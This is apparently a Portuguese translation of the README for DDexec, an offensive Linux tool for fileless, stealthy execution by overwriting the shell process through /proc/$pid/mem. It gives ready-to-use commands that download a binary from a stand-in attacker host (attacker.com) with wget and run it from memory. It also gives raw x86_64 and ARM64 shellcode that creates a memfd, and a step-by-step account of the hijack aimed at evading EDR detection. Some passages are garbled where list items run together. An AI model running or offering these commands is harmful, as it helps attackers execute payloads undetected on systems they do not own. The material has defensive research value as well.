
Uma técnica para executar binários sem arquivos e de forma furtiva no Linux, "sobrescrevendo" o processo do shell por outro.
Atualizei tanto o DDexec que mal é reconhecível, a análise do ELF agora é feita por código de máquina em vez do script shell, tornando-o muito mais rápido, confiável e compreensível. Também reduziu o número de dependências ao mínimo absoluto.
Também agora depende pouco da aritmética do shell, o que pode fazê-lo funcionar no Android.
No Linux, para executar um programa, ele deve existir como um arquivo, deve ser acessível de alguma forma através da hierarquia do sistema de arquivos (é assim que execve() funciona). Este arquivo pode estar no disco ou na RAM (tmpfs, memfd), mas você precisa de um caminho de arquivo. Isso tornou muito fácil controlar o que é executado em um sistema Linux, facilita a detecção de ameaças e ferramentas de atacantes ou impedi-los de tentar executar qualquer coisa própria (ex.: não permitir que usuários não privilegiados coloquem arquivos executáveis em qualquer lugar).
Bem, se você não pode iniciar o processo que deseja... então você sequestra e tortura um já existente até que ele atenda aos seus desejos.
Envie via pipe para o script ddexec.sh o binário que deseja executar. Os argumentos para o script são os argumentos para o programa (começando com argv[0]).
Aqui, tente isto:
bash ddexec.sh ls -lA < /bin/ls
que é facilmente armável com algo como
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
Há também o script ddsc.sh que permite executar código de máquina diretamente.
O seguinte é um exemplo do uso de um shellcode que criará um memfd (um descritor de arquivo apontando para um arquivo na memória) para o qual podemos depois escrever binários e executá-los, obviamente a partir da memória.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
Em ARM64 o processo é o mesmo.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
As distribuições Linux testadas são Debian, Alpine e Arch. Os shells suportados são bash, zsh e ash (busybox); nas arquiteturas x86_64 e aarch64 (arm64).
A partir de 12/12/2022 encontrei várias alternativas ao dd, uma das quais, tail, é atualmente o programa padrão usado para lseek() através do arquivo mem (que era o único propósito de usar dd). Essas alternativas são:
tail
hexdump
cmp
xxd
Definindo a variável SEEKER você pode alterar o seeker usado, ex.:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Se você encontrar outro seeker válido não implementado no script, ainda pode usá-lo configurando a variável SEEKER_ARGS:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Bloqueiem isso, EDRs.
Este script depende das seguintes ferramentas para funcionar.
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | any other program that allows us to seek through a fd
No caso do ash, tail, dd, hexdump, cmp e xxd são incorporados, então eles não são realmente uma dependência.
Nota: Funciona apenas em versões modernas do busybox, não sei a versão mais antiga, não pesquisei. Sei que funciona no v1.35.0, mas não no v1.30.0.
Se você é capaz de modificar arbitrariamente a memória de um processo, então pode assumir o controle dele. Isso pode ser usado para sequestrar um processo já existente e substituí-lo por outro programa. Podemos conseguir isso usando a chamada de sistema ptrace() (que requer a capacidade de executar syscalls ou ter o gdb disponível no sistema) ou, mais interessante, escrevendo em /proc/$pid/mem.
O arquivo /proc/$pid/mem é um mapeamento um-para-um do espaço de endereço do modo usuário de um processo (ex.: de 0x0 a 0x7ffffffffffff000 em x86-64). Isso significa que ler ou escrever neste arquivo em um offset x é o mesmo que ler ou modificar o conteúdo no endereço virtual x.
Agora, temos três problemas básicos a enfrentar:
Mas temos soluções inteligentes:
mem do shell com permissões de escrita... então os processos filhos que usarem esse fd poderão modificar a memória do shell.maps do shell a partir do procfs para obter informações sobre o layout de endereços do processo.lseek() sobre o arquivo. No shell, isso pode ser feito usando alguns binários comuns, como tail ou o infame dd, veja a seção EverythingExec para mais informações.Os passos são relativamente fáceis e não exigem nenhum tipo de conhecimento especializado para entendê-los:
/proc/$pid/syscall o endereço para o qual o processo retornará após a chamada de sistema que está executando atualmente —já que estamos lendo este arquivo, essa syscall será read(), e o endereço estará no wrapper read() da libc. Isso é apenas para obter um lugar onde nosso stager será encontrado em breve.mem podemos modificar páginas não graváveis). Esse stager lerá e executará um shellcode maior.execve():
O shellcode foi gerado compilando loader.c e ajustando seu assembly para remover e simplificar muitos artefatos introduzidos pelo compilador.
Bem, há alguns TODOs. Além disso, você deve ter notado que não sei muito sobre script shell (sou mais um programador C) e tenho certeza de que devo ter ganho uma década de prêmios "uso inútil de um cat" —nenhum gato foi ferido na criação desta ferramenta— e o restante das variantes apenas com uma fração deste projeto.
— Portar para outros shells —no limite, devemos tornar o script compatível com POSIX.
De qualquer forma, sinta-se à vontade para fazer fork e PR. Mas por favor, ao contribuir, leve em conta que PRs que façam com que não funcione nos shells suportados não serão aceitos, isso não é contribuir, é apenas quebrar coisas. Seria melhor se suas alterações fossem compatíveis com POSIX.
Apenas... por favor, por favor, por favor, verifique seu código e veja se funciona nos shells suportados pelo menos no Debian e Alpine. É só um par de dockers.
Após publicar esta ferramenta, descobri que a Sektor7 já havia publicado essa técnica quase exata em seu blog alguns anos atrás.
Apesar disso, pensei nesta técnica de forma independente em, agora quase, sua totalidade. Provavelmente a parte mais inteligente desta técnica é o uso do descritor de arquivo herdado, ideia fornecida por David Buchanan (inspirado pelo blog da Sektor7) quase um ano antes de eu começar a pensar neste tópico. Isso por si só não só torna a técnica muito mais simples e elegante, mas também a torna muito mais mortal ao eliminar a necessidade de desabilitar o ASLR.
De qualquer forma, espero poder espalhar esta técnica muito mais longe, que é o que importa.
Gostaria de agradecer a Carlos Polop, um ótimo pentester e melhor amigo, por me fazer pensar sobre este assunto, e pelo seu feedback útil e interesse, ah, e também lhe devo o nome do projeto. Tenho certeza que se você está lendo isso já usou sua ferramenta incrível PEASS e achou útil algum artigo em seu livro HackTricks.
Você pode:
mem.Você pode me contatar através do Twitter.